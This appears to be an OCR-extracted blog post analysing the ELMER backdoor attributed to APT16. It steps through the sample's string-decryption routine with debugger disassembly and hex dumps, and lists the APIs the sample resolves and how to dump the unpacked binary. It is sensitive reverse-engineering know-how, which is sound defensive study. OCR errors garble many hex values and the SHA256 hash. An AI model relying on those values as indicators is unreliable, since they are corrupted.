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Summary

In this blog post, we’re presenting a detailed analysis of a backdoor known as ELMER that was used by the Chinese
actor identified as APT16. This group targeted Japanese and Taiwanese organizations in industries such as high-tech,

government services, media and financial services.

The malware is encrypted with a custom algorithm and it’s written in Delphi. This sample is capable of detecting
proxy settings on the local machine and exfiltrating information such as the hostname and IP address of the machine
to the Command and Control server. The process uses a custom decryption algorithm that consists of AND, XOR,
and ADD operations in order to decrypt relevant strings during runtime. It implements 8 different commands
depending on the response from the C2 server, including: file uploads and downloads, process execution, exfiltration
of file names/sizes and directory names, exfiltration of processes/process IDs. Data exfiltration is performed using an

HTML document that contains the information encoded using the NOT operator.

This sample is using a custom encryption algorithm, that we will describe below. For this analysis, we have also
created a python script that can be used to facilitate the decryption process, which can be found at

https://github.com/Rackedydig/string_decode algorithm apt16.

Technical analysis
SHA256: BEDOOA7B59EF2BD703098DA6D523A498C8FDAOSDCES31F028E8F16FF434DC89E

It’s important to mention that a part of the malicious code is encrypted, and we’ll explain using a step-by-step
approach how to decrypt it. The process is scanning the memory in order to find the magic number “MZ” which
corresponds to EXEs (DLLs), and then it’s extracting the first word of the PE header and compares it with “PE” as

follows:
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.hello:6719138A arg_@= dword ptr 8
.hello:6719138A arg 4= dword ptr @Ch
.hello:6719138A

.hello:6719138A push ebp
.hello:6719138B mov ebp, esp
.hello:6719138D push ebx
.hello:6719138E push esi
.hello:6719138F push edi

.hello:67191398 mov eax, [ebp+arg @]
.hello:67191393 and eax, @FFFFF@@8h
i -
.hello:67191398
.hello:67191398 loc_67191398:
.hello:67191398 cmp word ptr [eax], "ZM’
.hello:6719139D jz short loc_671913A6
1
I FIEE
.hello:6719139F sub eax, 18@8h .hello:67191386
.hello:671913A4 jmp short loc_67191398) |.hello:671913A6 loc_671913A6:
.hello:671913A6 mov esi, [eax+3Ch]
.hello:671913A9 cmp word ptr [esi+eax], "EP’
.hello:671913AF jz short loc_671913B8

Figure 1

The following picture contains a part of the bytes that will be transformed as we’ll see in the next paragraphs:

T S e e

®| 6713915 6A 33 CO Xor edax,eax
8D 4C 3D 00 lea ecx,dword ptr ss:[ebp+edi]
8A 11 mov dl,byte ptr ds:[ecx]
83 C1 04 add ecx,4
88 14 20 mov byte ptr ds: [eax+esi],dl
40 inc eax
83 F8 04 cmp eax,4

— - 2T e Fmamae——

ecx=<apt.EntryPoint> (671912F0)
dword ptr [ebp+edi*l]=[apt.6&7181000]=1458633DE

chello: 67191560 apt.exe:$1156C #AFEC

Weoump 1 @pump2  WMDump3  @4pumpd  Whoumps @ wetch1i  I-llocals 4 st

Address | Hex ASCII

67181000 DE] 33 86 14(57 82 61 33|C3 D6 4E BB|AS CF CF 72 DB..W.aﬁADh»%IEr
67181010 |37 BC OB 31|0F 4B 34 DC|22 C9 &F 34|F3 BE CO 25| 74.1.K:U2Eo40mA%

67181020 |9F 87 1A 58(F5 21 36 CF|7C BS EE 90(E6 BD 94 C9|...x0!6I| T.®:.E
67181030|C8 60 33 5B|9B A6 35 EG6|52 54 D3 55(7D EF 3A 4D |E°3[. | 5@RTOULI:M
67181040|04 CF 85 5B|2C 99 7E 73|4F 0D 45 A9(43 EF EE 5A|.1I.[,.~s0.E&CiiZ

67181050| 86 BA D2 37|F3 46 AD BE|35 4F Bl AE|BE DD C4 CD|,.070OF.%50+8 . VAT
67181060 |D6 9E 19 D5 |F1 61 F1 30|EOD 3C 8C BS|0C 13 41 24|0..0naf0a<. _..Af
67181070|BE 97 34 8C|E6 D1 BF EC|8F BC 5D 72|EC B3 30 50|%.4.®N:71.%]1ri"0P
67181080(C0 55 12 FB|92 92 DD CO|6B 05 21 39|45 FZ F1 3D|Au.0..DAk. ! 9EOf=
67181090 |CC AE AD BF(ED BF 40 78|07 Al BD F9(37 E3 FF 2D|I® ;i @x, i%U7ay-
67181040 | A0 B9 06 91|57 88 B9 DE|CE 51 81 FB|3E 28 98 EO| ..w.'PEQ.U>(.a
671810B0|AD FO OA 74|11 2D 2B 61|38 CF 92 36|19 DE 65 F7|.d.t.-+asl.s.pe:
671810C0 | 4A 6F 9C 74|AC 63 01 DO|FF A3 BE 48|E7 82 AF F4|Jo.t-c.D¥i.HC. O
671810D0|35 39 9F CC|99 BB 71 C3|E6 CO GE 88|0B 22 3E C9%|59.I.sqgA=An..">E
671810E0|AZ BS 36 7C|7E 89 C7 1B|02 1C 05 57(C5 9F BE 34| €u6|~.C....WA. %4
671810F0 (D7 C4 C4 6A|96 13 FA FE|11 4E C8 5A(64 5F 38 F3|xAAJ..uU~.NEZd_80
67181100|9C E9 D7 33|7C BC 77 9F |03 BA 2F 35|27 F3 49 BD|.éx3|uw.."/5'0I%
67181110 |B1 3F D2 1A|F3 B9 C6 58|E3 AB 13 5D |72 80 Al D5 |+70.0°&Xd«.]r.id
67181120|55 CF ES OC|3C BA 8C 5D |95 E2 DC C%|7C 10 14 C7|UIk.<°.].alE|..C

Figure 2

The first 16 bytes are reordered as follows: [bytel, byte5, byte9, byte13], [byte2, byte6, byte10, byte14], [byte3,
byte7, bytell, byte15], [byte4, byte8, byte12, byte16]:
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| address | Hex | ascIT |
DOL19FEE4 | 00 00 OO0 00|00 00 00 00|00 00 00 00|00 00 00 D0 o ceeceneeearenr.
DO19FEF4| 00 00 00 00|00 DO OO OO|D0 DO DO DO|D0 DO D0 D0|+e e venreneenes
DO19FFO4 |00 00 OO0 00|00 DO DO DO|DO DO DO DO|D0 DD D0 DO|.e e rrnreneenns
DO19FF14 |00 OO0 OO0 00|00 DO DO DO|DO DO DO DO|D0 DO DD DO|.erenvenrenrenes
DO19FF24|00 00 OO0 DO|00 DO DO DO|DO DO DO DO|D0 DO D0 D0|+evenrrnrenrenns
DO19FF34|00 00 00 00|00 10 18 7|00 00 00 00|94 FF 19 00|...... LR Ve
DOL19FF44 |DE 57 €32 A5 |32 82 D6 CF|86 61 4E C7 |14 33 BE 72 | OwA¥3.6I.amc.3»

Figure 3

Now there is a buffer of 16 bytes, which represents a “key” in the upcoming operations:

Address | Hex ASCIT

&71911AC (DO C9 E1 B6|14 EE 3F 63 |F9 25 0OC OC |[AS 89 CB A6 |PEAY.17CU%.. .E!
671911BC |00 00 00 00|00 OO0 OO0 OO(00 00 OO0 00|00 00 00 00| . ..ccvinrrnnaaas
671911CC |00 00 00 00|00 O0 OO OO|(00 00 OO0 00|00 00 00 00| ... cvinrrnnanns
6719110C | 00 00 00 00|00 00 00 00|00 00 OO0 00|00 00 00 00| . ...cviurrnnnann

Figure 4

An XOR operation is performed between the corresponding positions of the 2 buffers mentioned above:

Address | Hex ASCIT

0019FEE4| 0D 00 OO OO|(00 00 OO OO|OD OO0 OD OO|00 OD OO0 OD|..vvcueeecnnanas
Q0O19FEF4 |00 OO OO0 OO(00 OO OO OO(CO OO OO OO|O0 0D 0D OD| .cvcaveanaannnans
0019FFD4 |00 OO0 OO0 00|00 OD OO0 OO|00 OO0 OD OO|D0 OD OO0 OD|.cuweueecannanas

DO19FF14 |00 OO0 OO0 00|00 OO0 OO0 OO|04 OO0 OO0 OO(54 FF 19 00| .cvecvennrn. T
DO19FF24 (D0 10 18 67 (D4 81 00 00(96 15 19 67 (44 FF 19 00|...gb...... aoy. .
CO19FF24 | AC 11 19 &7 |00 10 18 &£7|00 00 00 00|94 FF 19 00(-..g...0.....¥..
DOL9FF44 | 0B 9E 22 13|27 6C E9 AC|7F 44 42 CB|BC BA 73 D4|..".'16-.DBE%®S
Figure 5

The first 4 bytes of the buffer remain in their current positions, however, the last 12 bytes are reordered, as shown in

figure 6:

Address | Hex | AsCIT

DOL19FEE4 | 00 OO0 OO0 00|00 00 00 00|00 00 00 00|00 00 00 00| o cencencenrenr.
DO19FEF4|00 00 00 00|00 00 0O 0O|DO DO DO DO|DD DO DO OO|.evenrenvenennn.
DO19FFD4| 00 00 00 00|00 00 0O 00|00 DO DO DO|DO DO OO DO ..vrevenrenennn.

0019FF14 |00 00 OO0 00|00 00 00 00|04 00 00 00|54 FF 19 00| ....c.cuu.n.. T
CO19FF24 |00 10 18 67 (04 00 00 00|9C 11 19 &7 (A8 15 19 &7 |...0..cu .. 8 . .0
OD19FF34|BA 73 D4 BC|00 10 18 67 (00 00 00 00|24 FF 19 00| °s0%...0.....¥..
O0L9FF44|0B 9E 22 13|AC 27 6C E9|42 CB 7F 44|BA 73 D4 BC|..".-'18BE.D°s04
Figure 6

Each byte is replaced by a byte that can be found at the position 0x671911EC+current_byte, as explained in the next

figure:
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EIP g e BA 92 EC 11 19 67 mov dl,byte ptr ds:[edx+&671911EC]
! ®| 67191640 88 54 08 FF mov byte ptr ds:[eax+ecx-1],dl
l----@| 67191644 =~ 7C EB j1 apt.67191691

*l e

di=22 T

byte ptr [edx+671911EC]=[apt.6719120E]=94

-hello:6719169A apt.exe: $1169a #AB9A

Woump1  @oump2  @HDump3  @Hoump4  @lDumps @ watch1  Ix=lLocals 4 struct

Address | Hex ASCII

671911FEC |52 09 6A D5|30 36 AS 35|BF 40 A3 9E|81 F3 D7 FB|R.JjOOG¥Si2£..0XU

671911FC|7C E3 39 82|98 2F FF 87|34 BE 43 44|C4 DE E9 CB| |29../V.4.CDAPEE

6719120C |54 7B 94 32|A6 C2 23 3D|EE 4C 95 DB|42 FA C3 4E|T{.2 A#=iL..BUOAN

6719121C |08 2E Al 66|28 D9 24 BZ2|76 5B A2 49|6D 8B D1 25(..if{Us=v[eIm. A%

6719122C |72 F8 F6 64|86 68 98 16(D4 A4 5C CC|5D &5 B6 92|redd.h..0m\I]ey.

6719123C|6C 70 48 50|FD ED B9 DA|SE 15 46 57 |AF7 8D 9D 84| TpHPyi'UA.FWE. ..

6719124C (90 D8 AB 00D(8C BC D3 OA(F7 E4 58 05|B8 B3 45 06|.B=«..40.<ax. "E.

6719125C (DO 2C 1E 8F(CA 3F OF 02(C1 AF BD 03|01 13 8A GB|D,..E7. A %....k

6719126C |34 91 11 41|4F 67 DC EA|97 F2 CF CE|FO B4 E6 73|:..ADglé.biln ==
6719127C |96 AC 74 2Z|E7 AD 35 85(E2 F9 37 EB|1C 75 DF G&E|.-t"¢.5.aure.ukn
6719128C |47 F1 1A 71|1D 29 C5 89|6F BF &2 DE|AA 18 BE 1B|GN.q.)A.o-b.2.%.
6719129C (FC 56 3E 4B|C6 D2 79 20|9A DB CO FE|78 CD 5A F4|dvek£dy .0ApxiIzd
671912AC|1F DD AS 33|88 07 C7 31(Bl1 12 10 59|27 80 EC 5F|.¥ 3..C1+..¥".1_
671912BC |60 51 7F A9|19 B5 4A OD|2D E5 7A 9F|93 C9 9C EF| 'Q.®@.ul.-&z..E.i
671912CC (AQ EO 3B 4D |AE 2A F5 BO|CS EB BB 3C |83 52 99 61| AjMe*d*Eéw<.5.a3
671912DC |17 2B D4 FE|BA 77 D6 26|E1 69 14 63|55 21 0OC 7D|.+.~owd&ai.cu!.}
671912EC 7|55 56 53 57|ES8 B8C 00 00|00 BB 1C 24 guvswe. .. ... ]
671912FC |58 81 E32 00|FD FF FF 833D EC 12 19|67 00 74 02|X.8.0%¥.=1..g9.T

6719130C |EB 69 68 EC|12 19 &7 53 |ES 71 00 00|00 8D B3 8C|&ihi..gseqg....=.

Figure 7

After this transformation, the buffer becomes the following one:

Address | Hex ASCIT

C:019FEE4 (00 00 OO0 OO|0O0 00 OO OC|OD0 OO0 OO OO|DO OO0 OD 00| .....cccvvnuunns

QO19FEF4 (00 00 OO0 OO|00 00 OO OO|D0 OO0 OO0 OO|00 OO0 0D O0|.ivevsenurnannans

Q0O19FF0O4 (00 0D OO OO|O0 0D OO OO|D0 OD OO OO|DO OO0 OD 00| ....vccevrnnnnnn

QO019FF14 (00 00 OO0 OO|(0O0 OO0 OO DO|0O4 OO0 OD 00|54 FF 19 00| .vccuvenunss T

ODL19FF24 Zlac 11 19 e7(B2 15 19 €7 |44 FF 19 00|...Q...9%..0DV..

OD19FF24 | BA 73 D4 BC 7|00 00 00 00|94 FF 19 00| °s0%...g..... g

O0D19FF44 | 9E DF 94 82 |AA 3D BB EB|F6 59 6B 86|CO BF 19 78| .E..2= &b6vk.A..x

Figure 8

There is a second XOR decryption step, but this time the key is changing:
E— 30 18 xor byte ptr ds:[eax],bl

I i ®| 6719162C 83 CO 04 add eax,4
! ! | 6719162F 4E dec esi
| t----#( 67191630 ~ 75 F5 jne apt.67191627
i of 67191632 45 inc ebp
0 ®( 67191633 83 FD 04 cmp ebp,4
L e 67191636 ~ FC E2 j1 apt.6719161A

. Py prper B

£

byte pt
bl=AC *

=

r [eax]=[0019FF44]=9E

.hello: 6719162A apt.exe:$1162A #AB2ZA

UYoumpt  @4oump2z  WYDump3 @WDump4  UDump5 @ watchi  [x=lLocals
Address | Hex ASCII
671911%C |AC 19 28 57|77 FA D1 5C|66 DC 29 00|F3 21 41 6E|-. (WwuRNFU).G!AR
Figure 9

After the XOR operation is complete, the current buffer has been changed, as shown below:
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Address | Hex ASCII

O0O19FEE4 |00 00 QO QO(00 OO0 OO0 OO(00 OO0 OO0 OO(00 00 0D DD e esssansansanas
Q019FEF4 (00 00 OO0 Q0O|0Q0 OO OO QOO0 OO0 0D OO |00 00 00 00| .. cveneasnnnnnna
O019FF04 | 00 OO 00 00|00 OO OO OO|CO OO OO OO|00 00 OD OD| v eseanaanaaans
O019FF14 (04 00 OO0 OO(5C 13 19 &7 (00 10 18 67(D4 81 00 00| owvuwu.. g...gﬂ..
N0L9FF24 7|44 FF 19 00(9C 11 19 67 (44 FF 19 00(%..00¥..... aDy.
0O019FF34(BA 73 D4 BC (00 10 18 &7 |00 00 00 00|24 FF 19 OO0 os0%. . .0. ... W
0O019FF44|32 Ce BC D5 (DD C7 69 BF |90 85 42 86|33 AE 58 16 2£Hﬁ?£1- B.32X
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Figure 10

A few more operations will be performed, including shl cl, 1 (shift left by 1) and xor cl, 1B (xor with 0x1B). Let’s
take, for example, byte 0x90 from the buffer which is left shifted by 1 (0x20) and then XORed with 0x1B -> 0x3B.
Byte 0x3B is left shifted by 1 and becomes 0x76 (no XOR is performed) and one more time, 0x76 is left shifted by 1

and becomes OXEC. The confirmation that all of these operations are accurate:

Address | Hex ASCIT

OO19FEEC |00 0O OO OO(00 00 OO0 00|00 00 OO0 OD|00 OO0 OO0 OO0 L
QO19FEFC (CE 81 00 O0O|DD FF 19 00|23 17 19 &7 (0D 00 OO0 OO I..:Yﬁ..ﬁ..g....
0019FFOC ESOSSENEENER OB 00 00 00IDD Al 59 BZI104 00 OD OD| EESREW. ...YiY=....

Figure 11

Now the values from this buffer are XORed together (0x90 XOR 0x76) XOR 0xEC and then the result (0xa) is

XORed with other results from similar operations. After all operations are done, the buffer will be the following:

Address | Hex ASCII

00O19FEE4 (00 OO0 OO QOO0 OO OO OO|DE 81 OO0 OO(02 00 OO0 C4|..cueues B et A
CO19FEF4 | 4E 17 19 E7|0E OO0 OO0 Q00|16 2C 58 BO|O9 00 OO0 OO(N..Q..... D, SR
0019FF04| 86 17 ZE S5C|(0D 00 00 0OO|BF 75 EA CF|OB 00 00 O00(...%. ... udI....
0019FF14|D5 B1 79 FZz |04 00 00 00|5C_11 19 67|00 10 18 67 |O+vd....... g...0
0019FF24 (D4 81 00 OO(48 FF 19 00|00 00 OO OO0|D2 15 19 &7 G...HF ...... G..g
0019FF34|D5 B 86 16|00 10 18 &7 (00 00 00 00|94 FF 19 00 ¥ PR V..
0013FF44|53 B2 35 G65|(C8 9D 16 44|69 A5 4E C9|BE AD AZ 1A |5=5eE..Di¥MEX €.

Figure 12

The sample performs the steps presented above 10 times, and the buffer looks like in the next figure:

Address | Hex ASCIT
OO19FEE4 |00 OO OO OO(0O0O OO OO OO|D1 B1 OO0 DO|0Z2 00 OD 15| ...c0.as TR
O0O19FEF4 Z|OE 0O OO OO|8BE OF OE 1C |02 00 0D OO M. .Q.cvceeeunnnns

JE 17 13 67
D019FF04 DO BE &0 DA|OD 00 00 00|78 FO FE ED|0OB 00 00 0O B»mﬂ....xaﬁi....
DO19FF14|04 00 00 00(QC 11 19 &7 (DD 10 13 &7|(pD4 81 00 DO|....... B
OD19FF24|BD 15 19 &7 |44 FF 19 00(0C 11 19 &7 |44 FF 19 00|%..aDv..... gDy. .
DOL19FF34|A3 8B C4 2E|QD 10 18 67|00 00 00 00|94 FF 19 00| £.A...
DOL9FF44|04 02 61 00|10 04 72 00|18 43 01 DO|67 63 DO EF

Figure 13

The buffer is reordered and copied in the location displayed in figure 2, as follows:

Address | Hex ASCII |
67151000|04 10 18 &7 |02 04 43 68|61 72 01 00|00 OO0 00 FF|...g..Char..... ]
6718101037 BC OB 31|0F 4B 3A DC|23 C9 6F 34(F3 BE CO 25| 7%.1.K:U#E040%A%
67181020(9F 87 1A 58|F5 21 36 CF|7C BB EE 90|E6 BD 94 C9|...X0!'6I| i.&%.E
67181030|C8 &0 33 S5B|9B AE 35 EG|52 54 D3 55 (7D EF 3A 4D |E 3[. | S=RTOUFI:M
67181040 |04 CF 85 GB(2C 99 FE 73(4F OD 45 A9(43 EF EE S5A|.I.[,.~sD.EBCTiZ
67181050| 86 8A D2 37|F3 46 AD BE|35 4F Bl AE|S8E DD C4 CD|..070F.%50+9. VAT
67181060 (D6 9E 19 D5 |F1 &1 F1 30|E0Q 3C 8C BS|0C 13 41 24 |0..0hanba<. ..A%

67181070|BE 97 34 BC|E6 D1 BF EC|8F BC 5D 7Z|EC B3 30 50|%.4.2M;1.%]lri=oP
67181080(CD 55 12 FB|92 92 DO CO|GB 05 21 39|45 F2 F1 3D |AU.0..BAk.!2EDA=
67181090 |CC AE AD BF|ED BF 40 78|07 Al BD F9(37 E3 FF 2D|Ie ;igex. ikuray-
671810A0| A0 B9 06 91|57 83 B9 DE|CB 51 81 FB|3E 28 98 EO| '..W.'PEQ.0>(.2a
671810B0|AD FO 0OA 74|11 2D 2B 61|38 CF 92 36|19 DE 65 F7|.0.t.-+asl.6.pe:
671810C0| 4A 6F 9C 74|AC 63 01 DO|FF A3 BE 48|E7 82 AF F4|Jo.t-cC.B¥f.HC. ©
67181000|35 39 9F CC(99 BB 71 C3|E6 CO 6E 88|0B 22 3E C9|59.I.=zqA=An.."=E
671810E0|AZ BS 36 7C(7E 89 €7 1B(02 1C 05 57(C5 9F BE 34| €u6|~.C....WA. %4
671810F0|D7 C4 C4 6A|96 13 FA FE|11 4E C8 5A(64 S5F 38 F3|wAAj..u~.NEZd_B80
67181100 | 9C E9 D7 33(7C BC 77 9F (03 BA 2F 35(27 F3 49 BD|.éx3|%w..°/5'6I%
67181110 |B1 3F D2 1A|F3 B9 CE 58|E3 AB 13 5D (72 80 Al D5 |+70.0'#£Xaez.]r.id
67181120|55 CF E8 0OC|3C BA 8C S5D|95 E2 DC C9|7C 10 14 C7|ule.<c.].a0E|..C

Figure 14

The algorithm applied for the first 16 bytes is repeated 2078 times. The new buffer is the decrypted version of the

first one:
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Address | Hex ASCII |
67181000|04 10 18 67|02 04 43 68|61 72 01 00|00 0D OO0 FF|...g..Char..... \
67181010|00 00 00 90|FF 25 40 C1|18 &7 8B CO|FF 25 3C C1 ....ﬁ%ﬂﬁ.g.hﬁ%{i
67181020|18 &7 8B CO|FF 25 38 C1|18 &7 8B CO|FF 25 34 C1|.g.Aws8A.g. AysaA
67181030 |18 &7 8B CO|FF 25 30 C1(18 &7 8B CO|FF 25 2C C1|.g.Aws0A.g.Ays, A
6718104018 &7 8B CO|FF 25 28 C1|18 &7 8B CO|FF 25 24 C1|.g.Av%(A.g.AvssA
67181050|18 &7 8B CO|FF 25 20 C1|18 &7 8B CO|FF 25 1C C1|.g.Av% A.g.Ays. A
67181060|18 &7 8B CO|FF 25 18 C1|18 &7 BB CO|FF 25 14 C1|.g.Av%.A.g.Ayx. A
67181070|18 &7 8B CO|FF 25 10 C1|18 &7 8B CO|FF 25 4C C1|.g.Aw%.A.g.Ay%LA
67181080(18 &7 8B CO|FF 25 OC C1|18 &7 BB CO|FF 25 08 C1|.g.Av%.A.g.Ayx. A
67181090 |18 &7 8B CO|FF 25 04 C1|18 &7 8B CO|FF 25 00 C1|.g.Av%.A.g.Ays. A
67181040|18 &7 8B CO|FF 25 FC CO|18 &7 BB CO|FF 25 F8 CO|.g.Av%UA.g. Ayxeh
671B10B0 |18 &7 8B CO|FF 25 5C C1(18 &7 8B CO|FF 25 58 C1|.g.AwsA. 0. AysxA
671810C0( 18 &7 8B CO|FF 25 54 C1|18 &7 BB CO|FF 25 68 C1|.0.Av%TA.g.AyxhA
67181000 |18 &7 8B CO|FF 25 64 C1|18 &7 8B CO|FF 25 F4 CO|.g.AwsdA. g. AysoA
671EB10E0|18 &7 8B CO|FF 25 FO CO|18 &7 8B CO|FF 25 EC CO|.g.AysdA.g.AysiA
&71810F0| 18 &7 8B CO|FF 25 E8 CO|18 &7 BB CO|53 83 C4 BC|.g.AyvxeA.g.As. Ak
67181100 |BBE 0OA 00 00|00 54 E8 99|FF FF FF F6|44 24 2C 01 a....Th.KﬁﬂﬁD$,.
67181110|74 05 OF BF (5C 24 30 BB|C3 83 C4 44(5B C3 8B CO|t..-"$0.A.AD[A.A
67181120 |FF 25 E4 C0|18 &7 BB CO|FF 25 EO CO|18 &7 8B CO|yxdA.g.Ayxah.g.A

Figure 15

The malicious process loads multiple DLLs and retrieves the address of export functions using LoadLibraryA and
GetProcAddress APIs:

| 671913E8 02 F3 add esi,ebx
| 671913EA ES3 F9 03 00 00 call <apt.LoadLibrarya-
®| 671913EF 8B FB mov edi,eax
®||671913F1 85 FF test edi,edi
Fo——————--- - - ®| 671913F3 v T4 41 je apt.67191436
! ®| 671913F5 83 3E 0O cmp dword ptr ds:[esi],0
et #| 671913F8 « 74 29 je apt.&7191423
:: ®|| 671913FA 8B FF mov edi,edi
& Fo===== @ || B71913FC BB 06 mov eax,dword ptr ds:[esi]
Pl o 671913FE B5 CO test eax,eax
il PR A, ®| 67121400 v 79 08 ins apt.&719140A
qeet ®| 67191402 25 FF FF 00 00 and eax,FFFF
Fn o 67191407 50 push eax
:: ! ! & 67191408 ~ EB 05 jmp apt.6&6719140F
It | b-F--3@ || 67191404 8D 4C 03 02 Tea ecx,dword ptr ds:[ebx+eax+2]
i i ®| 6719140E 51 push ecx
G ®| 6719140F 57 push edi
i E8 CD 03 00 00 call <apt.GetProcAddress:>
fE= 1 85 CO test eax,eax
o et ~ 74 1D je apt.67191436
el ®| 67191419 83 06 mov dword ptr ds:[esi],eax
! :: ! & 67191418 83 Ce 04 add esi,4
i) ®| 6719141E 83 3E 00 cmp dword ptr ds:[esi],0
R e 67191421 ~ 75 D9 jne apt.&71313FC
b @ || 67191423 8B 45 D8 mov eax,dword ptr ss:[Jebp+&l
: i ®|| 67121426 83 CO 14 add eax,14
! i ®| 67191429 83 38 DO cmp dword ptr ds:[eax],0
! { ®| 6719142C 89 45 08 mov dword ptr ss:[febp+s],eax
hr———r ————————— ®|6719142F ~ 75 AC jng apt.6&71913DD
0 e
1

[
3

<apt.GetProcaddress>

.hello: 67191410 apt.exe:$11410 #A610

&le Dump 1 B4 Dump 2 4 Dump 3 4yl Dump 4 @4 Dump 5 & watch 1 [*=] Locals ;;) Struc

Address | Hex ASCII

6718C230 6B 65 72 GE(65 6C 33 32|2E 64 6C &6C|00 0O 00 00| Kernel32.d11....
6718C240(44 65 6C 65|74 65 43 72|69 74 69 63|61 6C 53 65 (Deletecriticalse
6718C250(62 74 69 GF|GE OO0 OO0 O0|4C &5 €1 76|65 43 72 69| ction...LeaveCri
6718C260(74 69 63 61|(6C 53 65 63|74 69 &6F GE|00 0O 00D 00| ticalSection....
G6718C270(45 GE 74 65|72 43 72 69|74 69 63 61|6C 53 65 &3 |EnterCriticalsec
6718C280(74 69 6F GE|(0O0D 0D OO0 00|49 GE €9 74|69 61 6C 69| tion....Initiali
6718C290(7A 65 43 72(69 74 62 63|61 6C 53 65|63 74 69 6F|(zeCriticalsectio
6718C2A0(6E OO OO0 OO|56 69 72 74|75 61 6C 46|72 65 &5 00| n...wirtualFree.
6718C2B0O( 00 0D 56 62|72 74 75 61|6L 41 6C 6C|6F 63 00 00| ..VirtualAlloc..
6718C2C0O( D0 00 4C 6F (63 61 6C 46|72 65 65 00|00 00 4C 6F|(..LocalFree...LO
6718C2D0(62 61 6C 41|(6C &C &F &3 |00 00 OO0 0O0|47 65 74 54| calalloc....GetT
6718C2EQ|( 69 63 6B 43|(6F 75 6E 74|00 00 0D 00|51 75 65 72|ickCount....Quer
6718C2F0|72 50 65 72|66 6F 72 6D |61 &E &3 65|43 6F 75 &E|wPerformanceCoun
6718C300(74 65 72 00|00 0D 47 65|74 56 65 72|73 62 6F GE|ter...GetVersion
6718C310(00 00 OO0 00|47 65 74 43|75 72 72 65|6E 74 54 68(....GetCurrentTh
6718C320(72 65 61 64|49 &4 00 00|00 00 47 65|74 54 68 72| readId....GetThr
6718C330(65 61 64 4C|(6F 63 61 6C |65 00 0D 00|47 65 74 53| eadLocale...Gets
6718C340(74 61 72 74|75 70 49 GE|(66 &F 41 00|00 00 47 &5 |tartupInfoA...Ge
6718C350(|74 4C 6F 63|61 &6C &5 49|6E 66 &F 41|00 00 00 00| tLocaleInfoA....

Figure 16

Page 6 of 35



https://cybergeeks.tech/a-detailed-analysis-of-elmer-backdoor-used-by-apt 16 /

The list of DLLs to be loaded + the export functions:

e kernel32.dll

DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc,
LocalFree, LocalAlloc, GetTickCount, QueryPerformanceCounter, GetVersion, , GetCurrentThreadld,
GetThreadLocale, GetStartupInfoA, GetLocaleInfoA, GetLastError, GetCommandLineA, FreeLibrary, ExitProcess,
WriteFile, UnhandledExceptionFilter, SetEndOfFile, RtlUnwind, RaiseException, GetStdHandle, GetFileSize,
GetFileType, CreateFileA, CloseHandle, TlsSetValue, TlsGetValue, GetModuleHandleA, IstrcmpiA,
WaitForSingleObject, Sleep, SetFilePointer, ReadFile, GetProcAddress, GetModuleFileNameA, GetFileAttributesA,
GetCurrentDirectoryA, FindNextFileA, FindFirstFileA, FindClose, FileTimeToLocalFileTime, CreateThread,

CreateProcessA
e user32.dll
GetKeyboardType, MessageBoxA
e advapi32.dll
RegQueryValueExA, RegOpenKeyExA, RegCloseKey
¢ oleaut32.dll
SysFreeString, SysReAllocStringl.en
o ws2_32.dll

WSAGetLastError, gethostname, gethostbyname, socket, setsockopt, send, recv, inet_ntoa, inet_addr, htons, connect,
closesocket, WSACleanup, WSAStartup

e dnsapi.dll
DnsRecordListFree, DnsQuery_A
The process passes the execution flow to the unencrypted code as illustrated in the next figure:

A ko i i T - P e

~ FF ED jmpEax

Jump is taken
eax=apt.67189194

.hello: 67191383 apt.exe:$11353 #A583

&% Dump 1 B4 Dump 2 B4 Dump 3 B4 Dump 4 B4y Dump 5 @ watch 1 [xc=] L«

Address | Hex ASCII

67189194 |55 8B EC 83|C4 FO BS 14|91 18 &7 ES8|BO B2 FF FF|WU.1.AD,...ge"=yy
671891A4 |33 CO 55 68|C5 91 18 &7 (64 FF 30 64|89 20 E8 51| 3AUhA..gdyod. eqQ
671891B4|(FD FF FF 33|CO 54 59 59|64 89 10 &68|CC 91 18 &7 |vvvw3AZvyvd..hi..g
671891C4|C3 E9 9A S9E|FF FF EB F8|EB8 07 A3 FF|FF 8D 40 00|Ae..vwéoe. fiyv.a.
67189104 (00 00 OO OO|0O0 0D OO OO|DO OO OD OO|DO OO OD OO ......ccuvcuunne.
671891E4 (00 00O OO0 OO|0Q0 OD OO OO(DO GO OO OO|DO OO OD OO ......ccuveuunen
671891F4 (00 00D OO 00|00 OD OO OO(0DO OO OO OO|DO OO OD OO|......ccuveuunnn
67189204 |00 00D OO OO|0OD 0D OO OO|DO OO OO OO|DO OO OD OD|....occcuveunnns

Figure 17
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In order to also perform static analysis on the binary, we have to dump the memory of this process using
OllyDumpEx plugin of x32dbg debugger:

OllyDumpEsx v1.62 - apt.exe >
Module
Basze: (@) Module | C:4Users NI eskiophapt exe ~
(O Memary | EF180000 [00007000] # Imag # B apt / PE
O Addess | £7180000 Eeneel
Lizt Section: () Baze Only () 4l Memary () Address Range 67180000 - B3180000

Dump Mode: (@) Rebuild (") Binary [Raw] () Binany [Wirtual]
Image Source: (® Memory () Disk

Search Formnat
Search frea; (@) Select () sl Memary [exclude listed module] (@) PE
Search Mode: (®) Strict () Fuzzy [zlow) Search Image FieScan Memory (JELF
Image Optiok

Image Bage: | 67180000 Fix Wirtual Offzet Prefer Qriginal Charactenstics (Need Rescan]

Fix Corrupted Image Header Structure

Image Size:  |00073200 ] Disable Relacation
Entry Paint | 00011270 Giet EIP a5 EP [] &wto Adiust Image Baze Address

[] Rebuild D ataDirectony [Fallaw ImageB ase Changs)

Sechion
Select Al Select Bazetodule) | Select Privatedall| | Select Private/Exec DeSelect Al
Address Size  Owner Section Tupe Access  YitualOffset  VitualSize Characteristics ™
7181000 00003000 apt CODE  Imag RWE 00001000 00009000 E0000020
B7184000 00001000  apt DATA  Imag  Bw 0000An00 00001000 Coonoo4a
E718B000 Q0001000  apt BSS Imag  Rw Q000B0O0  QOO0O07000 Coonoaao
B718C000 Q0001000  apt .idata Imag  Rw Qooocooo  oooo7000 Coonoo4o
67180000 00007000 apt e Imag  Rw 0oooonoo ooooTo00 Coonoooo
E718E000 00001000 apt rdata Imag  Rw 0000000 QOoOoO07000 Dio000040
B718F000 00001000 apt Teloc Imag  Rw 0000FOO0 00007000 Dooooon4a
£ >

PE32 86 EXE loaded, Basedddress=6,120000, Relocation

Figure 18

The problem is that the IAT (Import address table) hasn’t been populated as expected and contains only 2 functions

that were also present in the original binary:

kemel32

Figure 19

We have to use another plugin of x32dbg called Scylla. This plugin is used to find the IAT entries in the process

memory, and then it can fix our dropped binary:
